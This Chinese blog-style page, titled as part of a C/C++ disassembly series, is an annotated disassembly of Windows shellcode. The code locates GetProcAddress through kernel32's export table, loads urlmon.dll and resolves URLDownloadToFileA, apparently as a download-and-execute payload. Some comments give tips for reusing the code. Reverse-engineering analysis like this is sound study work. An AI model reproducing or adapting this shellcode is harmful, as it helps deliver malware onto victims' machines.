反汇编c语言函数 c++ 反汇编( 三 )


4AD7502F8B40 08moveax, dword ptr [eax+8]; eax=kernel32.dll的地址
4AD750328BD8movebx, eax; ebx=kernel32.dll的基址
4AD750348B73 3Cmovesi, dword ptr [ebx+3C]; esi = pe头偏移
4AD750378B741E 78movesi, dword ptr [esi+ebx+78]; esi为kernel32.dll导出表的偏移
4AD7503B03F3addesi, ebx; esi = kernel32.dll导出表的虚拟地址
4AD7503D8B7E 20movedi, dword ptr [esi+20]; edi=ent的偏移地址
4AD7504003FBaddedi, ebx; edi = ent的虚拟地址
4AD750428B4E 14movecx, dword ptr [esi+14]; ecx = kernel32.dll导出地址的个数
4AD7504533EDxorebp, ebp; ebp=0
4AD7504756pushesi; 保存导出表虚拟地址
4AD7504857pushedi; 保存ent虚拟地址
4AD7504951pushecx; 保存计数
4AD7504A8B3Fmovedi, dword ptr [edi]
4AD7504C03FBaddedi, ebx; 定位ent中的函数名
4AD7504E8BF2movesi, edx; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD750506A 0Epush0E; 0xe0是GetProcAddress函数的字符个数
4AD7505259popecx; 设置循环次数为 0xe
4AD75053F3:A6repecmps byte ptr es:[edi], byte ptr [esi]; ecx!=0zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD7505574 08jeshort 4AD7505F; 如果ENT中的函数名为GetProcAddress跳走
4AD7505759popecx; 不相等则将导出地址数出栈
4AD750585Fpopedi; ent虚拟地址出栈
4AD7505983C7 04addedi, 4; edi地址递增4字节 因为ENT的元素大小为4字节
4AD7505C45incebp; ebp用于保存ent中定位到GetProcAddress函数时的计数
4AD7505D^ E2 E9loopdshort 4AD75048; 循环查询
4AD7505F59popecx
4AD750605Fpopedi
4AD750615Epopesi
4AD750628BCDmovecx, ebp; 计数保存于ecx
4AD750648B46 24moveax, dword ptr [esi+24]; esi+0x24 Ordinal序号表偏移地址
4AD7506703C3addeax, ebx; ordinal序号表的虚拟地址
4AD75069D1E1shlecx, 1; ecx逻辑增加2倍因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4AD7506B03C1addeax, ecx
4AD7506D33C9xorecx, ecx; ecx=0
4AD7506F66:8B08movcx, word ptr [eax]; 保存取出的ordinal序号
4AD750728B46 1Cmoveax, dword ptr [esi+1C]; eax 为kenrnel32.dll的EAT的偏移地址
4AD7507503C3addeax, ebx; eax = kernel32.dll的eat虚拟地址
4AD75077C1E1 02shlecx, 2; 同上,扩大4倍因为eat中元素为DWORD值
4AD7507A03C1addeax, ecx
4AD7507C8B00moveax, dword ptr [eax]; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4AD7507E03C3addeax, ebx; 与基址相加求得GetProcAddress函数的虚拟地址
4AD750808BFAmovedi, edx; GetProcAddress字符到edi
4AD750828BF7movesi, edi; esi保存GetProcAddress地址
4AD7508483C6 0Eaddesi, 0E; esi指向GetProcAddress字符串的末地址
4AD750878BD0movedx, eax; edx为GetProcAddress的地址
4AD750896A 04push4
4AD7508B59popecx; ecx=4
有经验的程序员 ,  通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址 。继续看反汇编代码:
4AD7508CE8 50000000call4AD750E1; 设置IAT 得到4个函数的地址
4AD7509183C6 0Daddesi, 0D; 从这里开始实现ShellCode的真正功能
4AD7509452pushedx
4AD7509556pushesi; urlmon
4AD75096FF57 FCcalldword ptr [edi-4]; 调用LoadLibrarA来加载urlmon.dll
4AD750995Apopedx; edx = GetProcAddress的地址
4AD7509A8BD8movebx, eax
4AD7509C6A 01push1
4AD7509E59popecx
4AD7509FE8 3D000000call4AD750E1; 再次设置 IAT 得到URLDownLoadToFileA
4AD750A483C6 13addesi, 13; esi指向URLDownLoadToFileA的末地址
4AD750A756pushesi
4AD750A846incesi
4AD750A9803E 80cmpbyte ptr [esi], 80; 判断esi是否为0x80 这里在原码中有0x80如果要自己用,应该加上一个字节用于表示程序结束
4AD750AC^ 75 FAjnzshort 4AD750A8; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x80
4AD750AE8036 80xorbyte ptr [esi], 80

推荐阅读